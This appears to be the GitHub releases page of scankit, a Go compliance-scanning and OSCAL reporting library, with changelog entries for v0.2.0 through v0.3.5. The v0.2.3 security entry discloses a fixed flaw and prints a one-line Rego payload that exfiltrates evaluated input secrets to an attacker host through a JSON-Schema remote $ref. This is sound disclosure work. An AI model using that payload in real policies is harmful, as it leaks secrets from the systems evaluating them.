Skip to content

Releases: stephrobert/scankit

v0.3.5

Choose a tag to compare

@github-actions github-actions released this 09 Sep 16:31
c2bbad3

Fixed

  • One subject with several causes rendered as several deviations. Different deny
    blocks of one rule can conclude on the same subject by different routes — a canned
    ACL, a grant, a bucket policy. Each cause is real, so none is a false positive; but a
    public bucket is one problem, and printing it three times makes the report look
    bigger than what it measures. Noise costs confidence what a false positive costs. The
    block now prints one line per subject with its causes listed beneath, and the
    aggregation is of the display only: the block's count, the parsable formats and
    the severity tally still carry every cause separately, so someone who fixes the ACL
    and leaves the policy still sees the second one.
  • The "immediate action" panel showed the same deviation three times. It announces
    the three most severe deviations, and a subject at fault by three routes took all
    three slots. It now deduplicates by (code, subject) before ranking, so it shows what
    it promises.

v0.3.4

Choose a tag to compare

@github-actions github-actions released this 09 Sep 15:08

Fixed

  • A terminal block printed one control's title and remediation over another
    control's findings.
    Findings were grouped by Code alone, while a block prints a
    code, a title and a remediation and then lists findings underneath — so it asserts
    those three of every finding it gathers. As soon as two controls shared a code (a
    normative requirement often covers several), the title and remediation were those of
    the FIRST finding, and the others sat under a heading that does not describe them,
    above a remediation that does not fix them. The remediation is the line a reader acts
    on: measured on a real tenant, it told them to revoke a root key in order to fix a
    Resource="*" grant. The grouping key is now exactly what the block asserts — code,
    title and remediation — so findings that do not share all three do not share a block.
    A single control under a code renders exactly as before, and the controls table stops
    summing Sev and # across different controls on one row.

v0.3.3

Choose a tag to compare

@github-actions github-actions released this 09 Sep 09:26
8edf15d

Added

  • Options.Inconclusive: an empty finding list stops rendering as an all-clear when
    nothing was inspected.
    "Nothing found" and "nothing looked at" rendered identically
    — a green tick, "No deviations found in the audited scope", and four severity counters
    at zero. Three signals literally true and collectively misleading, often printed
    directly above a verdict saying the opposite.

    The failure mode is human, not machine: automation reads the exit code and behaves
    correctly; it is the person skimming a terminal, or the screenshot pasted into a
    ticket, who sees a tick and a row of zeros. With the flag set, the marker is neutral,
    the line names the cause (Labels.NothingMeasured, translatable like the rest), and
    the counters are omitted.

    The concept is not one product's: every scanner distinguishes "found nothing" from
    "inspected nothing". The default stays false, so a consumer that does not ask the
    question sees no change.

v0.3.2

Choose a tag to compare

@github-actions github-actions released this 09 Sep 07:45
23d8eae

Added

  • report.Options.Labels: the terminal report's scaffolding is translatable.
    Section titles, table headers and the "no deviations" line were hard-coded English,
    so a consumer able to translate the CONTENT still produced a half-translated
    report — which reads as unfinished work rather than a choice, and undercuts the
    content. Every field defaults to its English label when empty, so a consumer that
    does not set it sees no change at all.

    The labels are passed IN rather than held in a catalogue here: scankit has no
    business knowing its consumers' languages, and a shared catalogue would force them
    to agree on a vocabulary. The product knows what language it speaks; the renderer
    does not.

v0.3.1

Choose a tag to compare

@github-actions github-actions released this 09 Sep 05:43
ddae8aa

Fixed

  • Evidence.proves was emitted as ["","",""] on every result. omitempty on a
    fixed-size array is, and always was, a no-op: encoding/json applies it to nil
    slices and maps, zero numbers, empty strings, false and nil pointers, never to an
    array. A zero [3]string therefore serialised as three blanks in the JSON output,
    in sealed evidence bundles, and in anything built on top of them — so a consumer
    could not tell "no proof was recorded" from "three proofs were recorded and all are
    blank". The two mean very different things for a model whose contract is that a
    status is backed by what was actually observed. Evidence now marshals through its
    own method, which omits the field when nothing was recorded. The type is
    unchanged
    : the three positions ARE the meaning (report.provesDimensions indexes
    them by name), a scanner filling only the first stays distinguishable from one
    filling none, and no caller writing Proves: [3]string{…} breaks.

v0.3.0

Choose a tag to compare

@github-actions github-actions released this 04 Sep 08:08

Added

  • report.OSCAL now carries Result.Labels and Evidence.Proves. Both are filled by the
    consuming product (pavois populates domain, remediation_class, ssg, the per-standard
    level, and its running / persistent / reboot-survivable triple) and both were silently
    dropped by the export, so an auditor reading the OSCAL document could not tell a control
    proven at runtime from one proven only in a config file.

    Labels become one namespaced prop per label on the observation, with the label key in
    class — not in name, so a product label can never shadow status, severity or
    observed — sorted by key to keep the document byte-reproducible. Proves becomes a
    relevant-evidence entry: a sentence stating what a pass establishes plus one prop per
    dimension (proves-running, proves-persistent, proves-reboot-survivable). Additive
    only: every prop emitted before is emitted unchanged.

Fixed

  • The OSCAL export could emit a document that fails schema validation, on data a product
    legitimately supplies: OSCAL requires prop name/class to be XML NCNames and values to be
    non-empty and single-line. A framework id such as cis v8 !, or an observed value
    containing a newline, produced an invalid document. Verified against the NIST 1.1.2 schema
    with check-jsonschema: the previous renderer failed on three counts for such an
    assessment, this one validates. Names and keys are coerced to NCNames, values folded onto
    one line, and a prop with nothing usable left is dropped rather than published.

v0.2.3

Choose a tag to compare

@github-actions github-actions released this 04 Sep 06:15
0c8f3e4

Security

  • The 0.2.2 network denial was bypassable through JSON-Schema $ref. Removing http.send,
    net.lookup_ip_addr and opa.runtime from the capability set did not close the hole it
    claimed to: OPA resolves a schema's remote $ref over HTTP at evaluation time, so a
    runtime-loaded policy could still exfiltrate the evaluated input with one line:

    json.match_schema(input, {"$ref": sprintf("%s/leak/%s", [attacker, input.secret])})

    Measured on 0.2.2 with a witness server: one request per builtin, path /leak/EXFIL-TOKEN,
    and Evaluate returned no error — the exfiltration was silent. json.verify_schema
    behaves the same way.

    The capability set now carries AllowNet: []string{} (an empty, non-nil list denies every
    host; the nil default means "any host"). That field is only honoured by the schema loader
    at evaluation time from OPA 1.20, which is why the bump below ships with the fix rather than
    after it.

    TestSchemaRefsCannotReachTheNetwork counts requests received rather than errors returned,
    because there is no error to assert on: it fails on the previous code with the witness
    recording /leak/EXFIL-TOKEN, and passes here with zero requests. No functionality is lost —
    a posture rule decides from the input it is given; TestOrdinaryBuiltinsStillWork and the
    existing engine suite stay green.

Changed

  • OPA 1.18.2 → 1.20.2 (required by the fix above; also brings strings.split_n).
  • golang.org/x/crypto forced to 0.56.0, clearing CVE-2026-56854 (SSH source-address
    restriction bypass) and CVE-2026-78662 / CVE-2026-56855 (SSH channel denial of service).
    scankit does not import x/crypto/ssh, so govulncheck reported no reachable call and no
    Dependabot alert was possible (the advisories carry no package mapping in GitHub's database);
    the bump is what turns OSV-Scanner, Trivy and the Scorecard vulnerabilities check green again,
    and it removes the transitive exposure from every consumer.

v0.2.2

Choose a tag to compare

@github-actions github-actions released this 19 Aug 09:17
de649e6
v0.2.2 — policies no longer get network access

engine.Evaluate compiled policies with OPA's default capabilities, which
include http.send, net.lookup_ip_addr and opa.runtime. Policies are
third-party code loaded at runtime, so a short rule could exfiltrate the
evaluated input or reach the runner's internal network from inside the
scanner. Those builtins are removed from the capability set.

No functionality lost: verified against both consumers' rule sets.
Behaviour change: a policy calling one of them now fails to compile.

v0.2.1

Choose a tag to compare

@github-actions github-actions released this 18 Jul 20:21
5510aaf
scankit v0.2.1 — schema-valid OSCAL 1.1.2 assessment-results

v0.2.0

Choose a tag to compare

@github-actions github-actions released this 18 Jul 19:29
7faa44f
scankit v0.2.0 — opposable assessment model + OSCAL assessment-results